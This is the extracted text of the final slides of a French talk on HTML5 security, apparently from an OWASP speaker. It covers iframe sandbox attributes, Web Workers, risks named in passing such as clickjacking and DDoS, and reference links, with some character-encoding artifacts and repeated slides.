  • 127. Bac  a  sable  des  iframes <iframe sandbox="....." src="http://monsite.com/index.html"></iframe> • Par  défaut  si  rien  n’est  précisé  :   • Les  formulaires,  scripts  et  plug-­‐ins  sont  désac>vés. • Pas  d’accès  aux  éléments  stockés  en  local   (cookies,  sessionStorage,  localStorage). • Pas  d’AJAX   • Les  liens  ne  peuvent  cibler  d’autres  frames • Le  contenu  est  considéré  externe  (pas  d’accès  à  la   DOM) vous  saviez  que  les  bacs  a  sables  sont  remplacés  par  des  bacs  à  gravier  maintenant  ?   30Friday, April 5, 13
  • 128. Bac  a  sable  des  iframes • Lever  les  restric>ons  :   • allow-­‐same-­‐origin  :  autorise  le  contenu  a  être  traité   comme  de  la  même  origine  est  pas  externe • allow-­‐top-­‐naviga>on  :  l’iframe  peut  accéder  à  la   naviga>on  de  niveau  supérieur • allow-­‐forms  :  autorise  les  formulaires • allow-­‐  scripts  :  les  scripts  (hors  popup)  sont  autorisés Les  navigateurs  ne  supportent  pas  tous  ces  éléments  ! tout  cela  pour  l’hygiène  alors  qu’on  nous  fais  passer  du  cheval  pour  du  boeuf  !   31Friday, April 5, 13
  • 129. Autres  points  importants • Les  longs  traitements  en  JavaScript  “plantaient”  les  navigateurs.   • Les  WebWorkers  perme;ent  de  lancer  des  JavaScript  en  tache   de  fond – N’accèdent  pas  à  la  DOM   – Accèdent  à  XHR,  objet  navigator,  cache,  lancement  d’autres   WebWorkers... DDOS  avec  CORS  &  WebWorkers Calculs  distribués  (cf  Ravan) Bientot  la  fin 32Friday, April 5, 13
  • 130. Autres  points  importants • Les  longs  traitements  en  JavaScript  “plantaient”  les  navigateurs.   • Les  WebWorkers  perme;ent  de  lancer  des  JavaScript  en  tache   de  fond – N’accèdent  pas  à  la  DOM   – Accèdent  à  XHR,  objet  navigator,  cache,  lancement  d’autres   WebWorkers... DDOS  avec  CORS  &  WebWorkers Calculs  distribués  (cf  Ravan) Bientot  la  fin 32Friday, April 5, 13
  • 131. Autres  Points  importants • CSS3  introduit  de  nouvelles  capacités  à  injecter   du  code  JavaScript Nouvelles  capacités  au  ClickJacking ou  facebook  jacking  ou  autre  jacking.... 33Friday, April 5, 13
  • 132. Conclusion • Plein  de  nouvelles  API  interessantes  pour  le   développeur(et  les  agences  Webs) L’ouverture  se  fait  au  détriment  de  la  sécurité....(même  si  un   accent  supplémentaire  a  été  mis  dessus  dans  les  Specs) Une  surface  d’a;aque  accrue  (CORS,  Web/Storage|Socket| Workers) La  belle  part  au  JavaScript  (qui  peut  s’executer  sans   consentement  u>lisateur) non,  non,  je  ne  fais  pas  que  >rer  sur  les  agences  Web... 34Friday, April 5, 13
  • 133. ww.html5test.com étonnant  le  cas  du  Blackberry  non  ?   35Friday, April 5, 13
  • 134. ww.html5test.com étonnant  le  cas  du  Blackberry  non  ?   35Friday, April 5, 13
  • 135. ww.html5test.com étonnant  le  cas  du  Blackberry  non  ?   35Friday, April 5, 13
  • 136. ww.html5test.com étonnant  le  cas  du  Blackberry  non  ?   35Friday, April 5, 13
  • 137. ww.html5test.com étonnant  le  cas  du  Blackberry  non  ?   35Friday, April 5, 13
  • 138. ww.html5test.com étonnant  le  cas  du  Blackberry  non  ?   35Friday, April 5, 13
  • 139. ww.html5test.com étonnant  le  cas  du  Blackberry  non  ?   35Friday, April 5, 13
  • 140. Quelques  Sites  a  suivre.. • h;p://www.w3.org/TR/html5/  :  le  standard • h;ps://www.owasp.org/index.php/ HTML5_Security_Cheat_Sheet   • h;p://www.caniuse.com  :  liste  des  différents  supports  d’API   par  navigateur • h;p://www.html5test.com  :  le  support  de  VOTRE   navigateur  vis  a  vis  de  la  norme. • h;p://html5readiness.com/  :  L’état  du  support  des  APis  par   les  navigateurs Bon  ben  voila,  c’est  la  fin,  merci  d’être  encore  présent  ;) 36Friday, April 5, 13
  • 141. @SPoint sebas>en.gioria@owasp.orgFriday, April 5, 13
  • 142. @SPoint sebas>en.gioria@owasp.org Il ny a quune façon déchouer, cest dabandonner avant davoir réussi [Olivier Lockert]Friday, April 5, 13